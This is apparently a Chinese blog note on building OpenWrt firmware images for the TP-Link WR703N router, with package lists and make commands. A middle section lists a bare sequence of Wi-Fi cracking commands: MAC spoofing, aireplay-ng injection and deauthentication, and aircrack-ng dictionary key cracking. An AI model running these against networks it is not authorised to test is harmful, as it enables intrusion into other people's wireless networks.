//------------------- packages 汇总
luci-i18n-chinese: C文, 配置无线开启: config wifi-iface 中增加 option disabled 1, 无线关闭: 则无此行.
3g包: luci-proto-3g kmod-usb-acm kmod-usb-serial kmod-usb-serial-option kmod-usb-serial-wwan usb-modeswitch usb-modeswitch-data
kmod-nls-iso8859-1 kmod-nls-iso8859-2 kmod-nls-iso8859-13: -1(西欧语言), -2(中欧语言), -13(波罗的语)
//samba.txt
make image PROFILE=TLWR703N PACKAGES="samba3 relayd ddns-scripts m-route kmod-macvlan vsftpd block-mount comgt kmod-usb-acm kmod-usb-serial kmod-usb-serial-option kmod-usb-serial-wwan usb-modeswitch usb-modeswitch-data kmod-fs-ext4 kmod-fs-ntfs kmod-fs-vfat kmod-usb-storage kmod-usb-uhci kmod-usb-ohci kmod-usb2 kmod-nls-utf8 kmod-nls-cp437 kmod-nls-iso8859-1 kmod-nls-iso8859-2 kmod-nls-iso8859-13 rp-pppoe-relay rp-pppoe-client kmod-rtl8187" FILES=files
//luci.txt, Firmware Version OpenWrt Firmware Attitude Adjustment (r29600) / LuCI Trunk (trunk+svn8134), Kernel Version 2.6.39.4
make image PROFILE=TLWR703N PACKAGES="luci luci-app-ddns luci-proto-relay luci-proto-3g vsftpd block-mount comgt kmod-usb-acm kmod-usb-serial kmod-usb-serial-option kmod-usb-serial-wwan usb-modeswitch usb-modeswitch-data kmod-fs-ext4 kmod-fs-ntfs kmod-fs-vfat kmod-usb-storage kmod-usb-uhci kmod-usb-ohci kmod-usb2 kmod-nls-utf8 kmod-nls-cp437 kmod-nls-iso8859-1 kmod-nls-iso8859-2 kmod-nls-iso8859-13 rp-pppoe-relay luci-i18n-chinese kmod-rt2800-usb kmod-rtl8187" FILES=wr703n
make image PROFILE=TLWR703N PACKAGES="luci luci-app-ddns luci-proto-relay luci-proto-3g vsftpd block-mount comgt kmod-usb-acm kmod-usb-serial kmod-usb-serial-option kmod-usb-serial-wwan usb-modeswitch usb-modeswitch-data kmod-fs-ext4 kmod-fs-ntfs kmod-fs-vfat kmod-usb-storage kmod-usb-uhci kmod-usb-ohci kmod-usb2 kmod-nls-utf8 kmod-nls-cp437 kmod-nls-iso8859-1 kmod-nls-iso8859-2 kmod-nls-iso8859-13 rp-pppoe-relay kmod-rt2800-usb kmod-rtl8187" FILES=wr703n //带3g
make image PROFILE=TLWR703N PACKAGES="luci luci-app-ddns luci-proto-relay vsftpd block-mount comgt kmod-usb-acm kmod-usb-serial kmod-usb-serial-option kmod-usb-serial-wwan usb-modeswitch usb-modeswitch-data kmod-fs-ext4 kmod-fs-ntfs kmod-fs-vfat kmod-usb-storage kmod-usb-uhci kmod-usb-ohci kmod-usb2 kmod-nls-utf8 kmod-nls-cp437 kmod-nls-iso8859-1 kmod-nls-iso8859-2 kmod-nls-iso8859-13 rp-pppoe-relay kmod-rt2800-usb kmod-rtl8187" FILES=wr703n
//实验最精简指令
make image PROFILE=TLWR703N PACKAGES="luci block-mount comgt kmod-usb-acm kmod-usb-serial kmod-usb-serial-option kmod-usb-serial-wwan usb-modeswitch usb-modeswitch-data kmod-fs-ntfs kmod-fs-vfat kmod-usb-storage kmod-usb-uhci kmod-usb-ohci kmod-usb2 kmod-nls-iso8859-1 kmod-nls-utf8 kmod-nls-cp437 rp-pppoe-relay" FILES=wr703
ls bin/ar71xx/ -all --- 查看bin目录下的文件
下面以我的硬件实例来操作一下:
我的硬件是 atheros 的 a/b/g 无线网卡,在 linux 中显示为 ath0 ,我只列出我常用的命令步骤,不再做任何解释:
ifconfig ath0 down
macchanger -r ath0
macchanger -r wifi0
ifconfig ath1 up
airmon-ng start ath1 6
iwconfig ath1
iwlist ath1 scanning
airodump-ng -w *.cap -c 6 ath1
aireplay-ng -1 0 -e ap_essid -a ap_mac -h XXXXXXXXXX ath1
aireplay-ng -5 -b ap_mac -h XXXXXXXXXX ath1
aireplay-ng -3 -b ap_mac -h XXXXXXXXXX -x 1024 ath1
aireplay-ng -0 1 -a 00:00:00:00:00:00 -c BB:BB:BB:BB:BB:BB ath1
aireplay-ng -3 -b -h -i ath1
aircrack-ng -x -f 2 *.cap
aircrack-ng -w passdict.txt *.cap
aircrack-ng -n 64 -b apmac *.ivs
aircrack-ng -w passdict.txt -b 00:00:00:00:00:00 *.cap
家里连接WR703N后
root@OpenWrt:~# iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
wlan0 IEEE 802.11bgn Mode:Master Frequency:2.462 GHz Tx-Power=18 dBm
RTS thr:off Fragment thr:off
Power Management:on
mon.wlan0 IEEE 802.11bgn Mode:Monitor Frequency:2.462 GHz Tx-Power=18 dBm
RTS thr:off Fragment thr:off
Power Management:on
br-lan no wireless extensions.
pppoe-wan no wireless extensions.
阅读(4977) | 评论(0) | 转发(0) |